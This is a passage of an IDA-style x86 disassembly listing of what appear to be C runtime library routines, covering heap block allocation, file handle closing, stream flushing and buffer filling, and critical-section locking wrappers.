		mov	ecx, [ebp+arg_0]
		mov	eax, dword_482948
		mov	edx, dword_48294C
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_41A9FB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41AA08
; ---------------------------------------------------------------------------


loc_41A9FB:				; CODE XREF: sub_41A9BE+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_41AA08:				; CODE XREF: sub_41A9BE+3Bj
		mov	eax, dword_482954
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_41AA2A
; ---------------------------------------------------------------------------


loc_41AA16:				; CODE XREF: sub_41A9BE+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AA2F
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_41AA2A:				; CODE XREF: sub_41A9BE+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_41AA16


loc_41AA2F:				; CODE XREF: sub_41A9BE+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41AA58
		mov	ebx, edx
		jmp	short loc_41AA49
; ---------------------------------------------------------------------------


loc_41AA38:				; CODE XREF: sub_41A9BE+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AA50
		add	ebx, 14h


loc_41AA49:				; CODE XREF: sub_41A9BE+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_41AA38


loc_41AA50:				; CODE XREF: sub_41A9BE+86j
		cmp	ebx, eax
		jz	loc_41AAEC


loc_41AA58:				; CODE XREF: sub_41A9BE+74j
					; sub_41A9BE+170j
		mov	dword_482954, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41AA7F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AAB5


loc_41AA7F:				; CODE XREF: sub_41A9BE+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41AAB2


loc_41AA9B:				; CODE XREF: sub_41A9BE+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_41AA9B


loc_41AAB2:				; CODE XREF: sub_41A9BE+DBj
		mov	edx, [ebp+var_4]


loc_41AAB5:				; CODE XREF: sub_41A9BE+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_41AB3E
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_41AB3E
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: sub_41A9BE+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AAF1
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_41AAEC:				; CODE XREF: sub_41A9BE+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_41AAE0


loc_41AAF1:				; CODE XREF: sub_41A9BE+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41AB1C
		mov	ebx, edx
		jmp	short loc_41AB03
; ---------------------------------------------------------------------------


loc_41AAFA:				; CODE XREF: sub_41A9BE+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AB0A
		add	ebx, 14h


loc_41AB03:				; CODE XREF: sub_41A9BE+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_41AAFA


loc_41AB0A:				; CODE XREF: sub_41A9BE+140j
		cmp	ebx, eax
		jnz	short loc_41AB1C
		call	sub_41A522
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41AB34


loc_41AB1C:				; CODE XREF: sub_41A9BE+136j
					; sub_41A9BE+14Ej
		push	ebx
		call	sub_41A5D9
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_41AA58


loc_41AB34:				; CODE XREF: sub_41A9BE+15Cj
		xor	eax, eax
		jmp	loc_41ACB5
; ---------------------------------------------------------------------------


loc_41AB3B:				; CODE XREF: sub_41A9BE+182j
		shl	ecx, 1
		inc	edi


loc_41AB3E:				; CODE XREF: sub_41A9BE+111j
					; sub_41A9BE+120j
		test	ecx, ecx
		jge	short loc_41AB3B
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_41AB5F
		push	3Fh
		pop	esi


loc_41AB5F:				; CODE XREF: sub_41A9BE+19Cj
		cmp	esi, edi
		jz	loc_41AC68
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ABCB
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_41AB9F
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41ABC8
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_41ABCB
; ---------------------------------------------------------------------------


loc_41AB9F:				; CODE XREF: sub_41A9BE+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41ABC8
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41ABCB
; ---------------------------------------------------------------------------


loc_41ABC8:				; CODE XREF: sub_41A9BE+1D5j
					; sub_41A9BE+1FDj
		mov	ebx, [ebp+arg_0]


loc_41ABCB:				; CODE XREF: sub_41A9BE+1AFj
					; sub_41A9BE+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41AC74
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41AC65
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_41AC3C
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41AC2A
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41AC2A:				; CODE XREF: sub_41A9BE+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41AC65
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: sub_41A9BE+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41AC4F
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41AC4F:				; CODE XREF: sub_41A9BE+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41AC65:				; CODE XREF: sub_41A9BE+247j
					; sub_41A9BE+27Cj
		mov	ecx, [ebp+var_8]


loc_41AC68:				; CODE XREF: sub_41A9BE+1A3j
		test	ecx, ecx
		jz	short loc_41AC77
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41AC77
; ---------------------------------------------------------------------------


loc_41AC74:				; CODE XREF: sub_41A9BE+223j
		mov	ecx, [ebp+var_8]


loc_41AC77:				; CODE XREF: sub_41A9BE+2ACj
					; sub_41A9BE+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ACAD
		cmp	ebx, dword_482944
		jnz	short loc_41ACAD
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48295C
		jnz	short loc_41ACAD
		and	dword_482944, 0


loc_41ACAD:				; CODE XREF: sub_41A9BE+2D3j
					; sub_41A9BE+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ACB5:				; CODE XREF: sub_41A9BE+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A9BE	endp

; ---------------------------------------------------------------------------
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41AD08	proc near		; CODE XREF: sub_416D83+1Fp
					; sub_416F93+150p ...

arg_0		= dword	ptr  4

		mov	eax, dword_481310
		test	eax, eax
		jz	short loc_41AD20
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AD20
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41AD20:				; CODE XREF: sub_41AD08+7j
					; sub_41AD08+12j
		xor	eax, eax
		retn
sub_41AD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD23	proc near		; CODE XREF: sub_41ADA6+4Cp
					; sub_41F885+2DCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_41F50B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41AD71
		cmp	esi, 1
		jz	short loc_41AD3F
		cmp	esi, 2
		jnz	short loc_41AD55


loc_41AD3F:				; CODE XREF: sub_41AD23+15j
		push	2
		call	sub_41F50B
		push	1
		mov	edi, eax
		call	sub_41F50B
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_41AD71


loc_41AD55:				; CODE XREF: sub_41AD23+1Aj
		push	esi
		call	sub_41F50B
		pop	ecx
		push	eax
		call	dword_42202C	; CloseHandle
		test	eax, eax
		jnz	short loc_41AD71
		call	dword_422004	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_41AD73
; ---------------------------------------------------------------------------


loc_41AD71:				; CODE XREF: sub_41AD23+10j
					; sub_41AD23+30j ...
		xor	edi, edi


loc_41AD73:				; CODE XREF: sub_41AD23+4Cj
		push	esi
		call	sub_41F48C
		mov	eax, esi
		sar	eax, 5
		mov	eax, dword_4815E0[eax*4]
		and	esi, 1Fh
		pop	ecx
		lea	ecx, [esi+esi*8]
		and	byte ptr [eax+ecx*4+4],	0
		test	edi, edi
		jz	short loc_41ADA1
		push	edi
		call	sub_41B947
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41ADA3
; ---------------------------------------------------------------------------


loc_41ADA1:				; CODE XREF: sub_41AD23+70j
		xor	eax, eax


loc_41ADA3:				; CODE XREF: sub_41AD23+7Cj
		pop	edi
		pop	esi
		retn
sub_41AD23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADA6	proc near		; CODE XREF: sub_416DC1+20p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041AE25 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_42C0B8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_4815D0
		jnb	short loc_41AE25
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41AE25
		push	ebx
		call	sub_41F54C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41ADFD
		push	ebx
		call	sub_41AD23
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_41AE0C
; ---------------------------------------------------------------------------


loc_41ADFD:				; CODE XREF: sub_41ADA6+49j
		call	sub_41B935
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41AE0C:				; CODE XREF: sub_41ADA6+55j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41AE1D
		mov	eax, [ebp+var_1C]
		jmp	short loc_41AE3B
sub_41ADA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE1A	proc near		; DATA XREF: .text:stru_42C0B8o
		mov	ebx, [ebp+8]
sub_41AE1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AE1D	proc near		; CODE XREF: sub_41ADA6+6Ap
		push	ebx
		call	sub_41F5BF
		pop	ecx
		retn
sub_41AE1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41ADA6


loc_41AE25:				; CODE XREF: sub_41ADA6+15j
					; sub_41ADA6+35j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41AE3B:				; CODE XREF: sub_41ADA6+72j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41ADA6

; =============== S U B	R O U T	I N E =======================================



sub_41AE41	proc near		; CODE XREF: sub_416DC1+18p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41AE6A
		test	al, 8
		jz	short loc_41AE6A
		push	dword ptr [esi+8]
		call	sub_416C97
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41AE6A:				; CODE XREF: sub_41AE41+Aj
					; sub_41AE41+Ej
		pop	esi
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE6C	proc near		; CODE XREF: sub_416DC1+10p
					; sub_4184E8+38p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_41AEBB
		test	ax, 108h
		jz	short loc_41AEBB
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41AEBA
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41E40E
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41AEB3
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_41AEBA
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_41AEBA
; ---------------------------------------------------------------------------


loc_41AEB3:				; CODE XREF: sub_41AE6C+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41AEBA:				; CODE XREF: sub_41AE6C+25j
					; sub_41AE6C+3Dj ...
		pop	edi


loc_41AEBB:				; CODE XREF: sub_41AE6C+13j
					; sub_41AE6C+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41AE6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AEC9	proc near		; CODE XREF: sub_41AEF7+67p
					; sub_41AEF7+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41AE6C
		test	eax, eax
		pop	ecx
		jz	short loc_41AEDE
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AEDE:				; CODE XREF: sub_41AEC9+Ej
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41AEF3
		push	dword ptr [esi+10h]
		call	sub_41F72E
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AEF3:				; CODE XREF: sub_41AEC9+19j
		xor	eax, eax
		pop	esi
		retn
sub_41AEC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEF7	proc near		; CODE XREF: sub_41AFCC+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041AFA8 SIZE 0000001B BYTES

		push	14h
		push	offset stru_42C0C8
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], edi
		push	1
		call	sub_41A166
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_41AF18:				; CODE XREF: sub_41AEF7+99j
		mov	[ebp+var_24], esi
		cmp	esi, dword_482940
		jge	loc_41AFA8
		mov	eax, dword_481920
		mov	eax, [eax+esi*4]
		cmp	eax, edi
		jz	short loc_41AF8F
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41AF8F
		push	eax
		push	esi
		call	sub_41B0C1
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_481920
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41AF87
		cmp	[ebp+arg_0], edx
		jnz	short loc_41AF6E
		push	eax
		call	sub_41AEC9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AF87
		inc	[ebp+var_1C]
		jmp	short loc_41AF87
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41AEF7+64j
		cmp	[ebp+arg_0], edi
		jnz	short loc_41AF87
		test	cl, 2
		jz	short loc_41AF87
		push	eax
		call	sub_41AEC9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AF87
		or	[ebp+var_20], eax


loc_41AF87:				; CODE XREF: sub_41AEF7+5Fj
					; sub_41AEF7+70j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_41AF97


loc_41AF8F:				; CODE XREF: sub_41AEF7+3Aj
					; sub_41AEF7+40j
		inc	esi
		jmp	short loc_41AF18
sub_41AEF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF92	proc near		; DATA XREF: .text:0042C0DCo
		xor	edi, edi
		mov	esi, [ebp-24h]
sub_41AF92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AF97	proc near		; CODE XREF: sub_41AEF7+93p
		mov	eax, dword_481920
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_41B113
		pop	ecx
		pop	ecx
		retn
sub_41AF97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AEF7


loc_41AFA8:				; CODE XREF: sub_41AEF7+2Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41AFC3
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_41AFBD
		mov	eax, [ebp+var_20]


loc_41AFBD:				; CODE XREF: sub_41AEF7+C1j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41AEF7

; =============== S U B	R O U T	I N E =======================================



sub_41AFC3	proc near		; CODE XREF: sub_41AEF7+B5p
					; DATA XREF: .text:stru_42C0C8o
		push	1
		call	sub_41A0D2
		pop	ecx
		retn
sub_41AFC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFCC	proc near		; CODE XREF: sub_41B07Ep
		push	1
		call	sub_41AEF7
		pop	ecx
		retn
sub_41AFCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFD5	proc near		; DATA XREF: .text:0042E010o
		mov	eax, dword_482940
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_41AFE9
		mov	eax, 200h
		jmp	short loc_41AFEF
; ---------------------------------------------------------------------------


loc_41AFE9:				; CODE XREF: sub_41AFD5+Bj
		cmp	eax, esi
		jge	short loc_41AFF4
		mov	eax, esi


loc_41AFEF:				; CODE XREF: sub_41AFD5+12j
		mov	dword_482940, eax


loc_41AFF4:				; CODE XREF: sub_41AFD5+16j
		push	4
		push	eax
		call	sub_41E5AE
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_481920, eax
		jnz	short loc_41B025
		push	4
		push	esi
		mov	dword_482940, esi
		call	sub_41E5AE
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_481920, eax
		jnz	short loc_41B025
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B025:				; CODE XREF: sub_41AFD5+30j
					; sub_41AFD5+49j
		xor	edx, edx
		mov	ecx, offset off_432638
		jmp	short loc_41B033
; ---------------------------------------------------------------------------


loc_41B02E:				; CODE XREF: sub_41AFD5+6Dj
		mov	eax, dword_481920


loc_41B033:				; CODE XREF: sub_41AFD5+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_4328B8
		jl	short loc_41B02E
		xor	ecx, ecx
		mov	edx, offset dword_432648


loc_41B04B:				; CODE XREF: sub_41AFD5+A3j
		mov	esi, ecx
		mov	eax, ecx
		and	eax, 1Fh
		sar	esi, 5
		mov	esi, dword_4815E0[esi*4]
		lea	eax, [eax+eax*8]
		mov	eax, [esi+eax*4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B06B
		test	eax, eax
		jnz	short loc_41B06E


loc_41B06B:				; CODE XREF: sub_41AFD5+90j
		or	dword ptr [edx], 0FFFFFFFFh


loc_41B06E:				; CODE XREF: sub_41AFD5+94j
		add	edx, 20h
		inc	ecx
		cmp	edx, offset dword_4326A8
		jl	short loc_41B04B
		xor	eax, eax
		pop	esi
		retn
sub_41AFD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B07E	proc near		; DATA XREF: .text:0042E028o

; FUNCTION CHUNK AT 0041F7EA SIZE 00000092 BYTES

		call	sub_41AFCC
		cmp	byte_48119C, 0
		jz	short locret_41B091
		jmp	loc_41F7EA
; ---------------------------------------------------------------------------

locret_41B091:				; CODE XREF: sub_41B07E+Cj
		retn
sub_41B07E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B092	proc near		; CODE XREF: sub_416E0D+27p
					; sub_416F47+Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_432638
		cmp	eax, ecx
		jb	short loc_41B0B6
		cmp	eax, offset dword_432898
		ja	short loc_41B0B6
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41A166
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41B0B6:				; CODE XREF: sub_41B092+Bj
					; sub_41B092+12j
		add	eax, 20h
		push	eax
		call	dword_422018	; RtlEnterCriticalSection
		retn
sub_41B092	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0C1	proc near		; CODE XREF: sub_41AEF7+44p
					; sub_41B9BA+66p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_41B0D5
		add	eax, 10h
		push	eax
		call	sub_41A166
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41B0D5:				; CODE XREF: sub_41B0C1+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_422018	; RtlEnterCriticalSection
		retn
sub_41B0C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0E4	proc near		; CODE XREF: sub_416E56+1p
					; sub_416F89+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_432638
		cmp	eax, ecx
		jb	short loc_41B108
		cmp	eax, offset dword_432898
		ja	short loc_41B108
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_41A0D2
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0E4+Bj
					; sub_41B0E4+12j
		add	eax, 20h
		push	eax
		call	dword_422014	; RtlLeaveCriticalSection
		retn
sub_41B0E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B113	proc near		; CODE XREF: sub_41AF97+9p
					; sub_41B9BA+7Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_41B127
		add	eax, 10h
		push	eax
		call	sub_41A0D2
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41B127:				; CODE XREF: sub_41B113+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_422014	; RtlLeaveCriticalSection
		retn
sub_41B113	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B136	proc near		; CODE XREF: sub_416E5E+AAp
					; sub_418177+44p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B212
		test	al, 40h
		jnz	loc_41B212
		test	al, 2
		jz	short loc_41B15D
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B212
; ---------------------------------------------------------------------------


loc_41B15D:				; CODE XREF: sub_41B136+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B172
		push	esi
		call	sub_41E4B9
		pop	ecx
		jmp	short loc_41B177
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B136+31j
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B177:				; CODE XREF: sub_41B136+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B3E4
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_41B201
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B201
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B1D6
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_41B1BC
		mov	edi, ecx
		sar	edi, 5
		mov	edi, dword_4815E0[edi*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_41B1C1
; ---------------------------------------------------------------------------


loc_41B1BC:				; CODE XREF: sub_41B136+6Dj
		mov	edi, offset dword_432C70


loc_41B1C1:				; CODE XREF: sub_41B136+84j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_41B1D6
		or	edx, 2000h
		mov	[esi+0Ch], edx


loc_41B1D6:				; CODE XREF: sub_41B136+64j
					; sub_41B136+95j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B1F3
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B1F3
		test	ch, 4
		jnz	short loc_41B1F3
		mov	dword ptr [esi+18h], 1000h


loc_41B1F3:				; CODE XREF: sub_41B136+A7j
					; sub_41B136+AFj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B201:				; CODE XREF: sub_41B136+57j
					; sub_41B136+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B212:				; CODE XREF: sub_41B136+Aj
					; sub_41B136+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B217	proc near		; CODE XREF: sub_41B3E4+52p
					; sub_41F885+2A7p

var_C		= dword	ptr -0Ch
